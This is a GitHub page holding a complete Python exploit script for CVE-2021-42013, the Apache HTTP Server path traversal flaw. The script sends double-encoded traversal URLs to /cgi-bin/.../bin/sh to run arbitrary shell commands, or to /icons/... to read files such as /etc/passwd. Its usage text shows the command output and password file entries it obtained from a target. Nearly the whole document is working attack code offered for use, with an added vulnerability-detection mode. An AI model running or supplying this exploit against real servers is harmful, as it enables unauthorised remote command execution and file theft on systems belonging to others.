-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCVE202142013.py
325 lines (248 loc) · 8.84 KB
/
CVE202142013.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
###################
# This script exploits CVE-2021-42013 to print file or/and execute command.
# Copyright (C) 2022 Maurice Lambert
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
###################
"""
This script exploits CVE-2021-42013 to print file or/and execute command.
~# python3 CVE202142013.py 127.0.0.1:80
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[-] Target is not vulnerable.
~# python3 CVE202142013.py 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
~# python3 CVE202142013.py -c "id" "echo H4CK" -c "cat /etc/passwd" -u "/" 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
H4CK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202142013.py -f "/etc/passwd" -o out.txt 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
~# cat out.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202142013.py -u "error" -f "/do/not/exists" 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 403).
~# python3 CVE202142013.py -f "/do/not/exists" 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 404).
~#
"""
__version__ = "1.0.0"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
__maintainer__ = "Maurice Lambert"
__maintainer_email__ = "mauricelambert434@gmail.com"
__description__ = """
This script exploits CVE-2021-42013 to print file or/and execute command.
"""
license = "GPL-3.0 License"
__url__ = "https://github.com/mauricelambert/CVE-2021-42013"
copyright = """
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
"""
__license__ = license
__copyright__ = copyright
__all__ = []
print(copyright)
from PythonToolsKit.urlopen import (
build_opener,
DefaultHandler,
Request,
HTTPResponse,
HTTPMessage,
)
from PythonToolsKit.Arguments import ArgumentParser, Namespace
from PythonToolsKit.Random import get_random_strings
from ssl import _create_unverified_context
from PythonToolsKit.PrintF import printf
from collections import defaultdict
from urllib.parse import urljoin
from shutil import copyfileobj
from sys import exit
def unknown(
self: DefaultHandler,
request: Request,
response: HTTPResponse,
code: int,
message: str,
headers: HTTPMessage,
) -> None:
"""
Unknown status.
"""
global EXIT_CODE
printf("Unknown status.", "ERROR")
EXIT_CODE = 127
def vuln(
self: DefaultHandler,
request: Request,
response: HTTPResponse,
code: int,
message: str,
headers: HTTPMessage,
) -> None:
"""
Vulnerable status.
"""
global arguments
printf("Target is vulnerable.")
if not only_detect and code == 200:
copyfileobj(response, arguments.output)
elif code != 200:
printf(f"Exploit is not working (HTTP error {code}).", "NOK")
def not_vuln(
self: DefaultHandler,
request: Request,
response: HTTPResponse,
code: int,
message: str,
headers: HTTPMessage,
) -> None:
"""
No vulnerable status.
"""
global EXIT_CODE
printf("Target is not vulnerable.", "NOK")
EXIT_CODE = 1
def parser() -> Namespace:
"""
Parse arguments.
"""
parser = ArgumentParser(
description="This script detects and exploits CVE-2021-42013."
)
parser.add_argument("target", help="Target host (example: localhost:8080)")
action = parser.add_mutually_exclusive_group()
action.add_argument(
"-c",
"--commands",
nargs="+",
action="extend",
help="Commands to execute.",
)
action.add_argument("-f", "--file", help="File to get content.")
parser.add_output_file(
"-o", "--output", file_args=["wb"], help="Redirect content in file."
)
parser.add_argument(
"-s", "--ssl", action="store_true", help="Use HTTPS (ssl)."
)
parser.add_argument(
"-u",
"--targeturi",
default="/",
help="Base URI to request the Apache Server.",
)
return parser.parse_args()
def main() -> int:
"""
Main function.
"""
global EXIT_CODE, only_detect, arguments
EXIT_CODE = 0
only_detect = True
arguments = parser()
if arguments.commands is not None or arguments.file is not None:
only_detect = False
FUNCTIONS_CODES = defaultdict(unknown)
FUNCTIONS_CODES[403] = FUNCTIONS_CODES[404] = FUNCTIONS_CODES[200] = vuln
FUNCTIONS_CODES[400] = not_vuln
urlopen = build_opener(FUNCTIONS_CODES).open
if arguments.commands is not None:
data = f"""echo Content-Type: text/plain;echo;{
';'.join(arguments.commands)
}""".encode()
path = (
arguments.targeturi
+ ("/" if arguments.targeturi[-1] != "/" else "")
+ "cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
)
method = "POST"
else:
file = arguments.file or get_random_strings(
(2, 7), (1, 4), separator="/", urlsafe=True
)
path = (
arguments.targeturi
+ ("/" if arguments.targeturi[-1] != "/" else "")
+ f"icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/{file}"
)
data = b""
method = "GET"
urlopen(
Request(
urljoin(
f"http{'s' if arguments.ssl else ''}://{arguments.target}",
path,
),
data=data,
method=method,
),
context=_create_unverified_context() if arguments.ssl else None,
)
return EXIT_CODE
if __name__ == "__main__":
exit(main())